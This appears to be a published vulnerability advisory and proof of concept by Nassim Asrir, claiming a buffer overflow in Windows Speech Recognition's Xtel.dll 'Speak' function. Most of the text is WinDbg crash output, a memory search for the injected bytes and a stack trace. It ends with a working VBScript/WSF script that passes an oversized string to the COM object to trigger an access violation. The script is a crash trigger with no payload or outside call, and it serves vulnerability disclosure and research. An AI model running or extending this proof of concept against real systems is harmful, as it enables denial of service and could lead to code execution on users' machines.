# Title: Windows Speech Recognition- Buffer Overflow
# Author: Nassim Asrir
# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# Vendor: https://www.microsoft.com/
About Windows Speech Recognition:
=================================
Windows Speech Recognition lets you control your PC by voice alone, without needing a keyboard or mouse.
Details:
========
If we navigate the Speech directory on Windows 10 we will get some (dll) files but the interest file is (Xtel.dll).
And in the normal case if we say something. that mean as there a variable which register what we say.
And if we play around "Xtel.dll" we will find a function named "Speak" which take to parameter "lineID as Long" and "text as String"
When we inject "A*3092" that lead to Buffer Overflow Vulnerability.
The crash occur in "6344164F MOV ECX,[EAX+2C]"
/* struct s0 {
int8_t[44] pad44;
int32_t f44;
};
void fun_634548b6(int32_t ecx, int32_t a2, int32_t a3, int32_t a4, int32_t a5);
void fun_63441643() {
int32_t ecx1;
struct s0* v2;
int32_t v3;
ecx1 = v2->f44;
fun_634548b6(ecx1, v3, 0, 1, __return_address());
} */
Now we will run our POC.
0:000> g
ModLoad: 74250000 74276000 C:\WINDOWS\SysWOW64\IMM32.DLL
ModLoad: 74d60000 74d6f000 C:\WINDOWS\SysWOW64\kernel.appcore.dll
ModLoad: 71850000 718cc000 C:\WINDOWS\SysWOW64\uxtheme.dll
ModLoad: 6ee90000 6ef16000 C:\WINDOWS\SysWOW64\sxs.dll
ModLoad: 77590000 776d4000 C:\WINDOWS\SysWOW64\MSCTF.dll
ModLoad: 6f720000 6f743000 C:\WINDOWS\SysWOW64\dwmapi.dll
ModLoad: 6bc40000 6bddc000 C:\WINDOWS\SysWOW64\urlmon.dll
ModLoad: 777f0000 77878000 C:\WINDOWS\SysWOW64\shcore.dll
ModLoad: 6cb20000 6cd45000 C:\WINDOWS\SysWOW64\iertutil.dll
ModLoad: 74790000 74d4a000 C:\WINDOWS\SysWOW64\windows.storage.dll
ModLoad: 76f00000 76f45000 C:\WINDOWS\SysWOW64\shlwapi.dll
ModLoad: 776f0000 77708000 C:\WINDOWS\SysWOW64\profapi.dll
ModLoad: 75230000 75275000 C:\WINDOWS\SysWOW64\powrprof.dll
ModLoad: 77730000 77738000 C:\WINDOWS\SysWOW64\FLTLIB.DLL
ModLoad: 74340000 743c3000 C:\WINDOWS\SysWOW64\clbcatq.dll
ModLoad: 63a90000 63ac6000 C:\Windows\SysWOW64\scrobj.dll
ModLoad: 6b730000 6b741000 C:\WINDOWS\SysWOW64\WLDP.DLL
ModLoad: 77200000 77396000 C:\WINDOWS\SysWOW64\CRYPT32.dll
ModLoad: 753a0000 753ae000 C:\WINDOWS\SysWOW64\MSASN1.dll
ModLoad: 751e0000 75227000 C:\WINDOWS\SysWOW64\WINTRUST.dll
ModLoad: 73010000 73023000 C:\WINDOWS\SysWOW64\CRYPTSP.dll
ModLoad: 72fb0000 72fdf000 C:\WINDOWS\SysWOW64\rsaenh.dll
ModLoad: 73820000 73839000 C:\WINDOWS\SysWOW64\bcrypt.dll
ModLoad: 63a80000 63a8a000 C:\Windows\SysWOW64\MSISIP.DLL
ModLoad: 74540000 7459f000 C:\WINDOWS\SysWOW64\coml2.dll
ModLoad: 63a60000 63a78000 C:\Windows\SysWOW64\wshext.dll
ModLoad: 75480000 767ca000 C:\WINDOWS\SysWOW64\SHELL32.dll
ModLoad: 74d70000 74da9000 C:\WINDOWS\SysWOW64\cfgmgr32.dll
ModLoad: 63b00000 63b86000 C:\Windows\SysWOW64\vbscript.dll
ModLoad: 63af0000 63aff000 C:\WINDOWS\SysWOW64\amsi.dll
ModLoad: 73950000 73971000 C:\WINDOWS\SysWOW64\USERENV.dll
ModLoad: 63ad0000 63ae9000 C:\ProgramData\Microsoft\Windows Defender\platform\4.18.1806.18062-0\X86\MpOav.dll
ModLoad: 63440000 63472000 C:\Windows\speech\Xtel.dll
(347c.1e00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\speech\Xtel.dll -
eax=00000001 ebx=63441643 ecx=63441643 edx=ffffffff esi=02c93664 edi=02c93644
eip=6344164f esp=02afe2b0 ebp=02afe2d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Xtel+0x164f:
6344164f 8b482c mov ecx,dword ptr [eax+2Ch] ds:002b:0000002d=???????? <=====
Now we will try to find our injected "AAA"
0:000> s -a 0x00000000 L?7fffffff "AAAAA"
75db1cad 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cae 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1caf 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb5 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb7 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cb9 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cbb 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cbc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cbd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cbe 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cbf 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc1 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc2 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc3 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc5 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc6 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc7 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc8 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cc9 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
75db1cca 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> k
# ChildEBP RetAddr
00 030fe6a8 753de4ef Xtel+0x164f
01 030fe6c8 753cf69d OLEAUT32!DispCallFunc+0x16f
02 030fe980 634454eb OLEAUT32!CTypeInfo2::Invoke+0x2ed
WARNING: Stack unwind information not available. Following frames may be wrong.
03 030fe9b0 6344a27f Xtel+0x54eb
04 030fe9dc 63b1b6e7 Xtel!DllUnregisterServer+0x502
05 030fea20 63b2832f vbscript!IDispatchInvoke2+0x96
06 030fec6c 63b2fdcc vbscript!InvokeDispatch+0x5ef
07 030fee84 63b29677 vbscript!CScriptRuntime::RunNoEH+0x5bbc
08 030feed4 63b289d5 vbscript!CScriptRuntime::Run+0xc7
09 030fefe4 63b23e93 vbscript!CScriptEntryPoint::Call+0xe5
0a 030ff070 63b25265 vbscript!CSession::Execute+0x443
0b 030ff0bc 63b262c2 vbscript!COleScript::ExecutePendingScripts+0x15a
0c 030ff0e0 63a9c143 vbscript!COleScript::SetScriptState+0x62
0d 030ff10c 63a9cd22 scrobj!ComScriptlet::Inner::StartEngines+0x7c
0e 030ff1f8 63a9b222 scrobj!ComScriptlet::Inner::Init+0x222
0f 030ff20c 63a9b00c scrobj!ComScriptlet::New+0x43
10 030ff230 003de390 scrobj!ComScriptletConstructor::Create+0x3c
11 030ff2b8 003d9693 wscript!CHost::RunXMLScript+0x411
12 030ff508 003dae64 wscript!CHost::Execute+0x284
13 030ffac4 003d8f75 wscript!CHost::Main+0x574
14 030ffd7c 003d9144 wscript!StringCchPrintfA+0xfa9
15 030ffda8 003d7a83 wscript!WinMain+0x1a9
16 030ffdf8 76f68484 wscript!WinMainCRTStartup+0x63
17 030ffe0c 779d2fea KERNEL32!BaseThreadInitThunk+0x24
18 030ffe54 779d2fba ntdll!__RtlUserThreadStart+0x2f
19 030ffe64 00000000 ntdll!_RtlUserThreadStart+0x1b
POC:
===
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:FC9E740F-6058-11D1-8C66-0060081841DE' id='target' />
<script language='vbscript'>
'Wscript.echo typename(target)
'for debugging/custom prolog
vulnerable_DLL = "C:\Windows\speech\Xtel.dll"
prototype = "Sub Speak ( ByVal lineID As Long , ByVal text As String )"
vulnerable_function = "Speak"
progid = "TELLib.phone"
argCount = 2
arg1=1
arg2=String(3092, "AAAAA")
target.Speak arg1 ,arg2
</script></job></package>
#EOF
